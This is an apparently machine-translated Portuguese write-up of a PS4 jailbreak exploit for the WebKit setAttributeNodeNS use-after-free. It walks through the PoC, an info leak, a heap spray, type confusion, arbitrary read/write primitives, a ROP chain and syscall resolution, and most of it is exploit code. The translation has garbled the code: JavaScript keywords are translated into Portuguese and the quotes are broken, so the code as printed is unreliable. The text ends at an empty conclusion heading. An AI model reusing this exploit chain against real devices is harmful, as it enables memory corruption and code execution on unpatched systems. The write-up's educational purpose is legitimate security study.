fbpx

Sony Playstation 4 (PS4) – Usuário do WebKit ‘setAttributeNodeNS’ após gravação gratuita

Sony Playstation 4 (PS4) – Usuário do WebKit ‘setAttributeNodeNS’ após gravação gratuita

** Nota: Embora eu tenha explorado esse bug no PS4, ele também pode ser explorado em outras plataformas sem patch. Como tal, publiquei-o na pasta “WebKit” e não na pasta “PS4”. **
# Introdução
Por volta de outubro de 2017, alguns outros, além de mim, procuramos nos bugs do projeto zer0 para ver quais poderiam funcionar no último FW do PlayStation 4, que na época era 5,00. Eu tropecei no bug setAttributeNodeNS e, felizmente (com a maioria do trabalho sendo realizado por qwertyoruiopz), conseguimos obter a execução do código da terra do usuário no WebKit. Enquanto escrevíamos essa façanha, o qwerty me ajudou a entender o que estava acontecendo, e acabei aprendendo muito com ela. Espero que, com esse artigo, os interessados ​​possam aprender sobre os componentes internos do WebKit – tentei garantir a gravação -up é, na maior parte, amigável para iniciantes. A exploração foi corrigida no firmware 5.03. Este artigo abordará apenas o aspecto da terra do usuário da cadeia completa de jailbreak 4.55, no entanto, você pode encontrar a parte do kernel aqui (a ser lançada posteriormente).

# O PoC (prova de conceito)
A prova de conceito para essa exploração pode ser encontrada na [página de bug do Chromium] (https://bugs.chromium.org/p/project-zero/issues/detail?id=1187). Este bug foi relatado por lokihardt do Google Project Zer0. O bug pode ser encontrado em `Element :: setAttributeNodeNS ()`. Vamos dar uma olhada em um trecho de código:

“ cpp
ExceptionOr <RefPtr <Attr>> Elemento :: setAttributeNodeNS (Attr & attrNode)
{

setAttributeInternal (índice, attrNode.qualifiedName (), attrNode.value (), NotInSynchronizationOfLazyAttribute);
attrNode.attachToElement (* this);
treeScope (). adopIfNeeded (attrNode);
assegurarAttrNodeListForElement (* this) .append (& attrNode);
retornar WTFMove (oldAttrNode);
}
“ “

Observe que a função chama `setAttributeInternal ()` antes de inserir / atualizar um novo atributo. Conforme declarado na descrição do bug, `setAttributeNodeNS ()` pode ser chamado novamente através de `setAttributeInternal ()`. Se isso acontecer, dois nós de atributo (Attr) terão o mesmo elemento proprietário. Se um deles fosse free () ‘d, o outro atributo manterá uma referência obsoleta, permitindo assim um cenário de uso após livre (UAF). Vamos dar uma olhada no PoC:

“ html
<body>
<script>
função gc () {
for (deixe i = 0; i <0x40; i ++) {
novo ArrayBuffer (0x1000000);
}
}
window.callback = () => {
window.callback = null;
d.setAttributeNodeNS (src);
f.setAttributeNodeNS (document.createAttribute (‘src’));
};
deixe src = document.createAttribute (‘src’);
src.value = ‘javascript: parent.callback ()’;
deixe d = document.createElement (‘div’);
deixe f = document.body.appendChild (document.createElement (‘iframe’));
f.setAttributeNodeNS (src);
f.remove ();
f = nulo;
src = nulo;
gc ();
alerta (d.atributos [0] .ownerElement);
</script>
“ “

Nos ambientes em que o bug está sem patch, alert () relatará uma instância do objeto iframe. Em ambientes corrigidos, o código falhará e ocorrerá uma exceção, porque `d` deve ser` indefinido`. Fico feliz em dizer que alert () relatará uma instância do objeto iframe até e incluindo o firmware 5.02.

Nota importante sobre o WebKit Heap
Seções do WebKit, são agrupadas em arenas. O objetivo dessas arenas não é apenas organizar objetos em seus próprios pools, mas também mitigar explorações de heap, controlando que tipo de objetos você pode corromper em sua arena imediata. O objeto que usamos após o uso é um objeto iframe, que é `fastmalloc ()` `d. Isso estará na arena do WebCore. Os objetos WebCore não são muito interessantes para primitivas, nosso objetivo final é obter uma primitiva de leitura / gravação através de uma matriz uint32 desalinhada. Precisamos passar da corrupção de pilha do WebCore para a corrupção de pilha do JSCore. Lembre-se disso durante o resto da exploração, pois é vital para o sucesso.

# Etapa 1: vazamento de informações
## Introdução
Precisamos vazar um ponteiro para um JSValue no heap JSCore que queremos corromper. Infelizmente, nosso vazamento também é um vazamento do WebCore, pois a memória de backup é `fastmalloc ()` d, por isso precisamos de um objeto que seja `fastmalloc ()` d e que contenha ponteiros no heap do JSCore. MarkedArgumentBuffer é um ótimo alvo.

Para obter mais informações sobre o MarkedArgumentBuffer e como ele pode ser usado em explorações, consulte o [Pegasus write-up] (https://info.lookout.com/rs/051-ESQ-475/images/pegasus-exploits-technical-details .pdf).

## Vector: postMessage ()
Podemos criar um objeto “ImageData” (consulte [ImageData] (https://developer.mozilla.org/en-US/docs/Web/API/ImageData)) e chamar `postMessage ()` com uma mensagem nula e não preferência de origem e use nossa instância do objeto ImageData como a transferência. Ao inserir o estado do objeto no histórico da sessão, a memória de backup do objeto `ImageData.data` é alocada, mas não inicializada. Podemos acessar essa memória de suporte via `history.state.data.buffer` como um Uint32array. Isso significa que não apenas podemos acessar a memória heap não inicializada, como podemos controlar o tamanho do vazamento. Podemos configurar o heap para vazar um JSObject. Criar nosso próprio JSObject é muito trivial e pode ser feito assim:

“ javascript
var tgt = {a: 0, b: 0, c: 0, d: 0};
“ “

Podemos então pulverizar o heap com nosso JSObject de `tgt` e vazá-lo usando a memória de backup do objeto ImageData,` .data.buffer`.

“ javascript
var y = novo ImageData (1, 0x4000);
postMessage (“”, “*”, [y.data.buffer]);
var props = {};

for (var i = 0; i <0x4000 / (2);)
{
props [i ++] = {valor: 0x42424242};
props [i ++] = {valor: tgt};
}

// …

history.pushState (y, “”);
Object.defineProperties ({}, props);
var leak = new Uint32Array (history.state.data.buffer);
“ “

## Vazando um JSValue
Nosso objetivo desse vazamento é poder vazar um JSValue, mas como podemos fazer isso? A resposta é JSObjects. Podemos criar facilmente um, e esse objeto não apenas permitirá vazar JSValues, mas também o usaremos em um estágio posterior para obter uma primitiva de leitura / gravação (mais sobre isso posteriormente). Por enquanto, vejamos como o JSObjects fica na memória (para obter mais informações sobre os componentes internos do JSObject, consulte o artigo [“Attacking Javascript Engines”]] (http://phrack.org/papers/attacking_javascript_engines.html) de Saelo @ Phrack). Eu a escrevi como uma estrutura C em pseudocódigo e forneci as compensações como comentários, na realidade é um pouco mais complexo, mas o conceito permanece.

“ c
struct JSObject {
Célula JSCell; // 0x00
Borboleta * borboleta; // 0x08
JSValue * prop_slot_1; // 0x10
JSValue * prop_slot_2; // 0x18
JSValue * prop_slot_3; // 0x20
JSValue * prop_slot_4; // 0x28
}
“ “

Para esse artigo, ignoraremos principalmente os membros “cell” e “butterfly”. Apenas saiba que “cell” contém o tipo, a ID da estrutura e alguns sinalizadores do objeto. O ponteiro da borboleta será nulo, porque como estamos usando apenas 4 propriedades, uma borboleta não é necessária.

Observe como temos acesso aos ponteiros JSValue nos deslocamentos 0x10 – 0x30? Vamos usar o slot 2 (rotulado como ‘b’ no objeto de destino) para vazar JSValues. Como lembrete, aqui está uma definição de destino:

“ javascript
var tgt = {a: 0, b: 0, c: 0, d: 0};
“ “

Para vazar o JSValue de ‘b’, precisaremos colocar nosso objeto de destino dentro de outro objeto que possamos pulverizar no heap, como um MarkedArgumentBuffer. Se definirmos algumas propriedades do objeto para o JSObject `tgt` de destino, poderemos vazá-lo na memória, pois ele será incorporado.

Se adicionarmos menos de 8 propriedades, o objeto será alocado na pilha (isso é por razões de desempenho). Precisamos que nosso objeto esteja na pilha. Além disso, objetos maiores são usados ​​menos e, portanto, são mais confiáveis; portanto, adicionaremos as propriedades `0x4000` ao nosso objeto MarkedArgumentBuffer. Em nosso spray, definiremos cada segundo elemento como `0x42424242` (” BBBB “) e todos os outros elementos como` tgt`. Isso nos permitirá garantir a integridade do vazamento (verificando `0x42424242`) e nos permite extrair informações de nosso JSObject. A exploração verifica ainda se estamos vazando o objeto correto, verificando as propriedades do JSObject em relação aos valores conhecidos.

“ javascript
for (var i = 0; i <comprimento do vazamento – 6; i ++)
{
if (vazamento [i] == 0x42424242 &&
vazamento [i + 1] == 0xffff0000 &&
vazamento [i + 2] == 0 &&
vazamento [i + 3] == 0 &&
vazamento [i + 4] == 0 &&
vazamento [i + 5] == 0 &&
vazamento [i + 6] == 14 &&
vazamento [i + 7] == 0 &&
vazamento [i + 10] == 0 &&
vazamento [i + 11] == 0 &&
vazamento [i + 12] == 0 &&
vazamento [i + 13] == 0 &&
vazamento [i + 14] == 14 &&
vazamento [i + 15] == 0)
{
foundidx = i;
foundleak = vazamento;
pausa;
}
}
“ “

Lembre-se de que `leak` é uma matriz Uint32, o que significa que cada elemento tem 32 bits de largura. Os índices 0 e 1 contêm o JSValue do nosso valor imediato `0x42424242` (o índice 1 é definido como` 0xFFFF0000` porque esse é o prefixo superior para um número inteiro de 32 bits). Lembre-se também de que estamos no Little Endian, e é por isso que o elemento `0` contém os 32 bits inferiores do JSValue e o elemento 1 os 32 bits superiores.

Observe que podemos vazar o JSValue da segunda propriedade (‘b’) do JSObject no índice 8 e 9 (6 índices * 4 bytes = 0x18 (prop_slot_2) + 0x08 para o JSValue `0x42424242`).

“ javascript
var firstLeak = Array.prototype.slice.call (foundLeak, foundIndex, foundIndex + 0x40);
var leakval = new int64 (firstleak [8], firstleak [9]);
leakval.toString ();
“ “

# Etapa 2: Acionar UaF
## Introdução
Como mantemos uma referência dupla ao iframe, quando está livre () pela coleta de lixo, uma referência será limpa, mas a outra não. Isso nos permite manter uma referência obsoleta. Isso é importante, porque podemos corromper o JSObject de backup do objeto iframe pulverizando a pilha e controlar o comportamento de como o objeto obsoleto é usado. Por exemplo, podemos controlar o tamanho do buffer, o ponteiro para a memória de suporte (chamada “vetor”) e a borboleta.

## Pressão da memória
Agora que vazamos um JSValue, vamos acionar o free () em nosso iframe, aplicando pressão de memória para forçar a coleta de lixo, chamando `dgc ()`. `dgc ()` é definido da seguinte forma:

“ javascript
var dgc = function () {
para (var i = 0; i <0x100; i ++) {
novo ArrayBuffer (0x100000);
}
}

f.name = “lol”;
f.setAttributeNodeNS (src);
f.remove ();

f = nulo;
src = nulo;
nogc.length = 0;
dgc ();
“ “

# Etapa 3: spray de pilha
## Introdução
O JSObject representando nosso iframe é gratuito e também é borboleta. Novamente, os objetos iframe são `fastmalloc ()` ‘d, o que significa que nosso vetor de spray também deve ser `fastmalloc ()` `d. Nosso velho amigo ImageData faz o truque. Não podemos alocar Uint32Array de tamanho 0x90 e tê-lo `fastmalloc ()` `d, mas precisamos acessar os dados por meio de um Uint32Array. Podemos contornar isso pulverizando primeiro um monte de objetos ImageData no heap (Uint8Array) e depois convertendo em Uint32Arrays depois. Na pilha, os objetos iframe são do tamanho 0x90 no PS4. Podemos controlar o tamanho do MarkedArgumentBuffer que pulverizamos através dos parâmetros ImageData “width” e “height”. Como cada valor é representado por 32 bits (ou 4 bytes) e o ImageData é apoiado por um Uint8Array, dividimos a altura por 4.

“ javascript
para (var i = 0; i <0x10000; i ++)
{
objs [i] = novo ImageData (1,0×90 / 4);
}
para (var i = 0; i <0x10000; i ++)
{
objs [i] = novo Uint32Array (objs [i] .data.buffer);
}
“ “

## Corrupção de memória
Agora, pulverizamos a pilha com vários objetos, mas ainda não corrompemos a memória. Nossa próxima tarefa é percorrer todos os objetos que criamos e definir seus valores de borboleta como `leakval + 0x1C`. Isso nos permitirá esmagar a borboleta facilmente através da propriedade ‘b’ do alvo. Observe que estamos sobrescrevendo os índices 2 e 3, pois cada índice tem 32 bits de largura, portanto o índice 2 é compensado em 0x8 (que é o 32 bits mais baixo da borboleta) e o índice 3 é compensado em 0xC (que é o 32 superior) pedaços da borboleta).

“ javascript
for (var i = 0; i <objspray; i ++)
{
objs [i] [2] = valor do vazamento.low + 0x18 + 4;
objs [i] [3] = leakval.hi;
}
“ “

# Etapa 4: Desalinhando JSValues
## Introdução
Nosso próximo objetivo é desalinhar um JSValue para que possamos controlar o JSCell, Butterfly, Vector e Length do JSObject. Podemos fazer isso pegando o JSValue vazado que temos do infoleak e adicionando 0x10 ao ponteiro. Isso nos permitirá criar um JSArrayBufferView falso dentro do armazenamento de propriedades em linha do JSObject e controlar metadados que de outra forma não poderíamos controlar.

! [] (https://i.imgur.com/3hAANue.png)
(créditos: qwertyoruiopz)

## Nota
Observe na captura de tela que a estrutura do “Uint32Array” difere um pouco de um JSObject. Para evitar confusão, vamos nos referir a essa estrutura de metadados “Uint32Array” como JSArrayBufferView (que é a classe que o Float64Array herda) para evitar confundi-la com o tipo Uint32Array.

## Desalinhamento + confusão de tipo
Primeiro, pegaremos um ponteiro para o nosso JSArrayBufferView falso. Como mencionado anteriormente, vamos criá-lo através das propriedades do destino no deslocamento 0x10, para que possamos pegar o valor vazado e adicionar `0x10` a ele.

“ javascript
var craftptr = leakval.sub32 (0x10000 – 0x10)
“ “

Esta linha pode parecer estranha no começo, mas observe que, devido à codificação dupla, esta linha se traduz em `leakval.sub32 (-0x10)`, ou simplesmente `leakval.add32 (0x10)`. Em seguida, precisamos falsificar o JSCell de um JSObject usando a primeira propriedade do alvo e falsificar a borboleta para apontar para o próprio objeto vazado e o vetor para os 32 bits superiores do objeto vazado. O que estamos fazendo essencialmente aqui é criar * Type Confusion * no heap via JSCell para criar um JSArrayBufferView falso.

“ javascript
tgt.a = u2d (2048, 0x1602300);
tgt.b = u2d (0, craftptr.low);
tgt.c = craftptr.hi;
“ “

# Etapa 5: leitura / gravação primitiva
## Introdução
As primitivas de leitura / gravação são muito poderosas e podem nos permitir obter mais tarde a execução do código. Para uma primitiva R / W, precisamos de dois buffers. O primeiro é um mestre, isso nos permitirá definir o endereço para escrever no caso de escrever ou o endereço para ler no caso de ler. O segundo é um escravo, que será usado para definir o valor no endereço do mestre, se estiver gravando, ou ler o valor do endereço do mestre, se estiver lendo. Também alocaremos um terceiro buffer que será usado para ajudar a vazar JSValues.

“ javascript
var master = novo Uint32Array (0x1000);
var slave = novo Uint32Array (0x1000);
var leakval_u32 = novo Uint32Array (0x1000);
“ “

## Nota importante
O bit a seguir pode ser confuso se você não entender esta seção. Enquanto `tgt` e` stale` * atualmente * se sobrepõem, eles não permanecem assim. Escrevendo para `tgt.c`, controlamos onde pontos obsoletos. Isso significa na seção a seguir, quando você vê algo como o seguinte:

“ javascript
tgt.c = mestre;
obsoleto [4] = leakval_u32 [0];
obsoleto [5] = leakval_u32 [1];
“ “

A primeira linha define `stale` como JSArrayBufferView do Uint32array` master`, e a segunda e terceira define o ponteiro “vetor” do JSArrayBufferView do `master`. Isso significa que podemos controlar as propriedades do JSArrayBufferView via `stale`. Abaixo está um diagrama para fornecer uma ajuda visual.

! [] (https://i.imgur.com/ZAaOVxF.png)

## Primitivas de leitura / gravação
Vamos criar um JSArrayBufferView falso dentro do JSObject que configuramos. Isso é trivial, basta alterar o ID JSCell do `tgt.a` para o JSArrayBufferView e tratar` b`, `c` e` d` como `borboleta`,` vector` e `length `respectivamente.

“ javascript
var leakval_helper = [escravo, 2,3,4,5,6,7,8,9,10];

tgt.a = u2d (4096, 0x1602300);
tgt.b = 0;
tgt.c = leakval_helper;
tgt.d = 0x1337;
“ “

Observe que estamos definindo o vetor JSArrayBufferView falso como um JSArrayBufferView real (leakval_helper). O primeiro valor é definido como o buffer `slave` para vazamento de JSValues, o restante dos valores é de preenchimento para garantir que uma borboleta seja alocada. Antes de configurarmos nossas primitivas, precisamos configurar as alças para os buffers que eles usarão. Primeiro, armazenaremos o valor da borboleta do JSArrayBufferView do `leakval_helper` – isso é usado principalmente para criar e vazar JSValues, o que é importante posteriormente para obter a execução do código.

“ javascript
tgt.c = leakval_helper;
var borboleta = novo int64 (obsoleto [2], obsoleto [3]);
“ “

Vamos querer configurar alguns buffers para nos ajudar a vazar e criar JSValues. Faremos isso configurando `tgt.c` no endereço do buffer` leakval_32` que configuramos anteriormente. Primeiro, queremos armazenar o valor antigo do “vetor” para poder restaurá-lo mais tarde. Em seguida, definiremos o “vetor” como a borboleta do `leakval_helper`, que possui o buffer` slave`.

“ javascript
tgt.c = leakval_u32;
var lkv_u32_old = novo int64 (obsoleto [4], obsoleto [5]);

obsoleto [4] = borboleta.baixo;
obsoleto [5] = butterfly.hi;
“ “

Agora queremos configurar os buffers para nossa primitiva de leitura / gravação. Configurando o “vetor” do `master` para o endereço do Uint32Array` slave`, podemos facilmente estabelecer uma primitiva de leitura / gravação. Podemos controlar para onde o `slave` aponta através do” vetor “do` master`. Portanto, configurando `master [4]` e `master [5]` com o endereço de onde queremos escrever, e `slave [0]` e `slave [1]` com o valor que queremos escrever, podemos estabelecer uma primitiva de gravação. Da mesma forma, configurando `master [4]` e `master [5]` com o endereço de onde queremos ler, podemos recuperar nosso valor de `slave [0]` e `slave [1]` como bem, se o valor for de 64 bits.

“ javascript
tgt.c = mestre;
obsoleto [4] = leakval_u32 [0]; // ‘escravo’ lido da borboleta de leakval_u32
obsoleto [5] = leakval_u32 [1];

var addr_to_slavebuf = novo int64 (mestre [4], mestre [5]);
tgt.c = leakval_u32;
obsoleto [4] = lkv_u32_old.low;
obsoleto [5] = lkv_u32_old.hi;

var prim = {
write8: function (endereço, val)
{
mestre [4] = addr.low;
mestre [5] = addr.hi;
if (val instanceof int64)
{
escravo [0] = val.low;
escravo [1] = val.hi;
} outro {
escravo [0] = val;
escravo [1] = 0;
}
mestre [4] = addr_to_slavebuf.low;
mestre [5] = addr_to_slavebuf.hi;
}
write4: função (endereço, val)
{
mestre [4] = addr.low;
mestre [5] = addr.hi;
escravo [0] = val;
mestre [4] = addr_to_slavebuf.low;
mestre [5] = addr_to_slavebuf.hi;
}
read8: function (endereço)
{
mestre [4] = addr.low;
mestre [5] = addr.hi;
var rtv = novo int64 (escravo [0], escravo [1]);
mestre [4] = addr_to_slavebuf.low;
mestre [5] = addr_to_slavebuf.hi;
retorno rtv;
}
read4: função (endereço)
{
mestre [4] = addr.low;
mestre [5] = addr.hi;
var rtv = escravo [0];
mestre [4] = addr_to_slavebuf.low;
mestre [5] = addr_to_slavebuf.hi;
retorno rtv;
}

// …
}
“ “

## JSValue Leak / Criar Primitivas
Observe que anteriormente asseguramos que uma borboleta foi criada para `leakval_helper` configurando mais de 4 valores. Observe também que configuramos `leakval_32` para que possamos escrever para a própria borboleta de` leakval_helper`, pois definimos `tgt.c` como` leakval_helper` e definimos o backup do “vetor” do JSObject como `butterfly `.

“ javascript
tgt.c = leakval_helper;
// …
var borboleta = novo int64 (obsoleto [2], obsoleto [3]);
tgt.c = leakval_u32;

// …
obsoleto [4] = borboleta.baixo;
obsoleto [5] = butterfly.hi;
“ “

Abaixo está um trecho de como as borboletas são estruturadas. Foi extraído do artigo da Phrack “Attacking Javascript Engines”:

“ “
————————————————– ——
.. propY | propX | comprimento elem0 | elem1 | elem2 ..
————————————————– ——
^
|
+ ————— +
|
+ ————- +
| Algum objeto |
+ ————- +
“ “

Observe como o elem0 é acessível acessando o índice 0 devido a onde o objeto faz referência à borboleta. É por isso que usar `leakval_u32` para definir o vetor` master` como `slave` funciona, porque` slave` está no índice zero. Isso significa que as variáveis ​​`borboleta ‘e` leakval_helper [0] `serão equivalentes. Se colocarmos um JSValue em `leakval_helper [0]`, podemos recuperar seu endereço usando nossa primitiva read () em `butterfly`. Da mesma forma, podemos criar um JSValue gravando-o na `borboleta` e recuperando-o via` leakval_helper [0] `. Isso nos permite converter bytes em JSValues ​​e JSValues ​​em bytes.

“ javascript
var prim = {
// … primitivas de leitura / gravação

leakval: function (jsval)
{
leakval_helper [0] = jsval;
var rtv = this.read8 (borboleta);
this.write8 (borboleta, novo int64 (0x41414141, 0xffffffff));

retorno rtv;
}

createval: function (jsval)
{
this.write8 (borboleta, jsval);
var rt = leakval_helper [0];
this.write8 (borboleta, novo int64 (0x41414141, 0xffffffff));
return rt;
}
}
“ “

# Estágio 6: Execução de Código (ROP)
## Introdução
Devido ao NX e à falta de permissões para a memória JiT, precisamos executar nossa exploração do kernel em uma cadeia ROP. Esta seção aborda principalmente como as cadeias ROP funcionam para aqueles que são mais novos na exploração, mas também se concentra em algumas das especificidades de como a cadeia é lançada.

A ideia de uma cadeia ROP é simples. Se não podemos escrever nossas próprias instruções e executá-las, podemos escrever sequências de instruções usando trechos de código que já estão disponíveis para nós no programa para atingir um objetivo semelhante (geralmente chamados de “gadgets”). Esse conceito geralmente é chamado de ataque de “reutilização de código” ou, mais comumente, “programação orientada a retorno”, que é abreviada para “ROP” por uma questão de brevidade. A idéia é controlar o ponteiro de instruções e fazer com que ele salte de um dispositivo para outro para outro. Para fazer isso, cada gadget deve terminar com um código de operação `0xC3`, que em x86 / x86_64 é uma instrução” ret “. Os gadgets também podem terminar com instruções “jmp”, mas geralmente não são usadas porque não são apenas muito mais limitados, mas nem sempre os “jmp” podem ser controlados pelo invasor.

## Fingindo uma pilha
Então, como criamos uma cadeia para inserir nossas seqüências de instruções? Podemos criar uma pilha falsa e garantir que o ponteiro da nossa pilha falsa encontre o caminho para o registro `RSP` (ponteiro da pilha). Quando a próxima instrução `ret` for atingida, nossa pilha falsa será usada. Isso é chamado de “pivô da pilha”, um ótimo pivô da pilha permite definir os registros `RSP` e` RIP` (ponteiro de instruções).

F

primeiro, devemos criar um conjunto de funções que nos permita criar e gerenciar facilmente cadeias ROP. Essa função terá métodos como “push” e “syscall” para enviar as informações necessárias na pilha para executar a ação especificada. Tecnicamente, podemos fazer tudo isso manualmente toda vez que queremos iniciar um syscall, mas isso é incontrolável e criar uma classe de funções para gerenciar isso faz muito mais sentido. Também queremos alocar a memória de backup da pilha, um Uint32Array é um bom candidato para isso. Também queremos criar um ponteiro que aponte para a base da pilha falsa, como um registro `RBP`. Naturalmente, precisamos definir isso para o endereço do Uint32Array na memória. Felizmente, devido às primitivas que configuramos anteriormente, o vazamento do endereço dessa matriz é trivial, pois podemos vazar o JSArrayBufferView do Uint32Array e desreferenciar o endereço no deslocamento 0x10. A variável `count` atuará como` RSP` e acompanhará onde estamos na pilha.

“ javascript
window.RopChain = function () {
this.ropframe = novo Uint32Array (0x10000);
this.ropframeptr = p.read8 (p.leakval (this.ropframe) .add32 (0x10));
this.count = 0;

// …
}
“ “

A capacidade de redefinir a cadeia ROP também será útil. Após cada execução da cadeia ROP, podemos redefinir a contagem e zerar a memória de suporte para garantir que a próxima cadeia seja executada sem problemas.

“ javascript
this.clear = function () {
this.count = 0;
this.runtime = indefinido;
for (var i = 0; i <0xff0 / 2; i ++)
{
p.write8 (this.ropframeptr.add32 (i * 8), 0);
}
};
“ “

Também queremos a capacidade de inserir valores ou dispositivos facilmente na cadeia ROP. Essas funções não apenas gravam esses valores na cadeia ROP, mas também controlam implicitamente o `count ‘para impedir a corrupção da pilha.

“ javascript
this.pushSymbolic = function () {
this.count ++;
retorne this.count-1;
}

this.finalizeSymbolic = function (idx, val) {
p.write8 (this.ropframeptr.add32 (idx * 8), val);
}

this.push = function (val) {
this.finalizeSymbolic (this.pushSymbolic (), val);
}

this.push_write8 = function (onde, o que)
{
this.push (gadgets [“pop rdi”]); // pop rdi
this.push (onde); // Onde
this.push (gadgets [“pop rsi”]); // pop rsi
this.push (o que); // o que
this.push (gadgets [“mov [rdi], rsi”]); // executa gravação
}
“ “

Finalmente, queremos uma função que nos permita chamar funções facilmente por endereço. Essa função é bastante trivial, essencialmente apenas configura os registradores de argumentos e empurra o ponteiro da função na pilha. No x86_64 ABI, os seguintes argumentos correspondem aos seguintes registros:

“ “

Argumento 1 = RDI
Argumento 2 = RSI
Argumento 3 = RDX
Argumento 4 = RCX
Argumento 5 = R8
Argumento 6 = R9
“ “

Para economizar espaço em nossa pilha falsa, a função `fcall` que criamos fornecerá apenas instruções para configurar os registros que realmente definimos. Também chamaremos chamadas de sistema através do `fcall`. Como a Sony não nos permite mais ligar para a chamada de sistema 0 para especificar o número de chamada, chamaremos os wrappers syscall fornecidos a partir de `libkernel_web.sprx`.

“ javascript
this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
{
if (rdi! = indefinido) {
this.push (gadgets [“pop rdi”]); // pop rdi
this.push (rdi); // o que
}
if (rsi! = indefinido) {
this.push (gadgets [“pop rsi”]); // pop rsi
this.push (rsi); // o que
}
if (rdx! = indefinido) {
this.push (gadgets [“pop rdx”]); // pop rdx
this.push (rdx); // o que
}
if (rcx! = indefinido) {
this.push (gadgets [“pop rcx”]); // pop r10
this.push (rcx); // o que
}
if (r8! = indefinido) {
this.push (gadgets [“pop r8”]); // pop r8
this.push (r8); // o que
}
if (r9! = indefinido) {
this.push (gadgets [“pop r9”]); // pop r9
empurre (r9); // o que
}
this.push (rip); // jmp
devolva isso;
}
“ “

## Dinâmica de pilha
Então, configuramos uma pilha falsa, mas como realmente fazemos nossa cadeia funcionar? Isso é realizado pela função bastante complexa `p.loadchain ()`. Por uma questão de brevidade, não abordarei tudo o que a função faz, pois é um material que salva o contexto. Não vou me aprofundar nessa parte como fiz o núcleo da exploração, mas vou abordar brevemente. Como temos uma primitiva `leakval` para vazar JSValues, podemos usá-lo facilmente para vazar ponteiros de função. Funções em JavaScript são representadas por objetos e o ponteiro da função está localizado no deslocamento 0x18. Em seguida, podemos adicionar 0x40 a esse valor não referenciado para pular o cabeçalho.

“ javascript
p.leakfunc = function (func)
{
var fptr_store = p.leakval (func);
return (p.read8 (fptr_store.add32 (0x18))). add32 (0x40);
}
“ “

Agora que temos uma primitiva para vazar os ponteiros de função JS, podemos escolher uma função de destino e substituir o ponteiro de função para ir para onde quisermos. Como usamos parseFloat () anteriormente para derrotar o ASLR, podemos usá-lo novamente. Primeiro queremos salvar o contexto do registro, podemos fazer isso usando a função `setjmp ()` na libc. No entanto, isso exige que configuremos o rdi também, portanto, chamaremos uma sequência “jop” para chegar lá.

“ “
// JOP
0: 48 8b 7f 48 mov rdi, QWORD PTR [rdi + 0x48]
4: 48 8b 07 mov rax, QWORD PTR [rdi]
7: 48 8b 40 30 mov rax, QWORD PTR [rax + 0x30]
b: ff e0 jmp rax
“ “

A função `reenter_help` é então chamada via` Array.prototype.splice.apply (reenter_help); `para executar o pivô da pilha. O pivô da pilha é executado vazando o endereço do ponteiro da pilha falsa e colocando-o no registro rsp.

“ javascript
var reenter_help = {length: {valueOf: function () {
orig_reenter_rip = p.read8 (stackPointer);
stackCookie = p.read8 (stackPointer.add32 (8));
var returnToFrame = stackPointer;

var ocnt = cadeia.contagem;
chain.push_write8 (stackPointer, orig_reenter_rip);
chain.push_write8 (stackPointer.add32 (8), stackCookie);

if (chain.runtime) returnToFrame = chain.runtime (stackPointer);

chain.push (gadgets [“pop rsp”]); // pop rsp
chain.push (returnToFrame); // -> de volta à vida da armadilha
chain.count = ocnt;

p.write8 (stackPointer, (gadgets [“pop rsp”]])); // pop rsp
p.write8 (stackPointer.add32 (8), chain.stackBase); // -> quadro de rop
}}};
“ “

## Chamada de Função
Anteriormente, estabelecemos uma função chamada `fcall ’em nossa cadeia ROP primitiva para inserir valores nos registros definidos pela ABI AMD64 e pressionar o ponteiro de função na pilha para iniciar uma chamada. Agora criaremos um wrapper que chama essa função, mas também nos permite recuperar o valor de retorno. Conforme definido na ABI, os valores retornados são sempre armazenados no registro `rax`; portanto, movendo-o para um endereço de memória em nosso espaço de endereço, podemos recuperá-lo facilmente usando nossa primitiva de leitura.

“ javascript
p.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) {
chain.clear ();

chain.notimes = this.next_notime;
this.next_notime = 1;

chain.fcall (rip, rdi, rsi, rdx, rcx, r8, r9);

chain.push (window.gadgets [“pop rdi”]); // pop rdi
chain.push (chain.stackBase.add32 (0x3ff8)); // Onde
chain.push (window.gadgets [“mov [rdi], rax”]); // rdi = rax

chain.push (window.gadgets [“pop rax”]); // pop rax
chain.push (p.leakval (0x41414242)); // Onde

if (chain.run (). low! = 0x41414242) lança novo erro (“comportamento inesperado de rop”);

retornar p.read8 (chain.stackBase.add32 (0x3ff8));
}
“ “

## Chamadas do sistema
Como mencionado anteriormente, não podemos mais emitir diretamente instruções `syscall` em nossas cadeias de ROP. No entanto, podemos chamar os wrappers fornecidos a nós para acessá-los através do módulo `libkernel_web.sprx`. Podemos resolver dinamicamente os wrappers syscall lendo os bytes para ver se eles correspondem à estrutura de um wrapper syscall. Isso é muito melhor comparado ao passado, quando teríamos que reverter o módulo libkernel e adicionar compensações manualmente para as chamadas do sistema que precisávamos, agora só precisamos manter uma lista dos nomes dos syscall se quisermos chamá-los pelo nome. Esta lista é mantida em `syscalls.js`.

“ javascript
// Resolva dinamicamente os wrappers syscall a partir do libkernel
var kview = novo Uint8Array (0x1000);
var kstr = p.leakval (kview) .add32 (0x10);
var orig_kview_buf = p.read8 (kstr);

p.write8 (kstr, window.moduleBaseLibKernel);
p.write4 (kstr.add32 (8), 0x40000);

var countbytes;
for (var i = 0; i <0x40000; i ++)
{
if (kview [i] == 0x72 && kview [i + 1] == 0x64 && kview [i + 2] == 0x6c && kview [i + 3] == 0x6f && kview [i + 4] == 0x63)
{
countbytes = i;
pausa;
}
}
p.write4 (kstr.add32 (8), countbytes + 32);

var dview32 = novo Uint32Array (1);
var dview8 = novo Uint8Array (dview32.buffer);
for (var i = 0; i <countbytes; i ++)
{
if (kview [i] == 0x48 && kview [i + 1] == 0xc7 && kview [i + 2] == 0xc0 && kview [i + 7] == 0x49 && kview [i + 8] == 0x89 && kview [i + 9] == 0xca && kview [i + 10] == 0x0f && kview [i + 11] == 0x05)
{
dview8 [0] = kview [i + 3];
dview8 [1] = kview [i + 4];
dview8 [2] = kview [i + 5];
dview8 [3] = kview [i + 6];
var syscallno = dview32 [0];
window.syscalls [syscallno] = window.moduleBaseLibKernel.add32 (i);
}
}
“ “

Nosso wrapper primitivo de chamada de sistema simplesmente localizará o deslocamento de uma determinada chamada de sistema pelo array `window.syscalls` e emitirá um` fcall` para ele.

“ javascript
p.syscall = function (sysc, rdi, rsi, rdx, rcx, r8, r9) {
if (typeof sysc == “string”) {
sysc = window.syscallnames [sysc];
}

if (typeof sysc! = “number”) {
lançar novo erro (“syscall inválido”);
}

var off = window.syscalls [sysc];

if (desativado == indefinido) {
lançar novo erro (“syscall inválido”);
}

retornar p.fcall (desativado, rdi, rsi, rdx, rcx, r8, r9);
}
“ “

# Conclusão
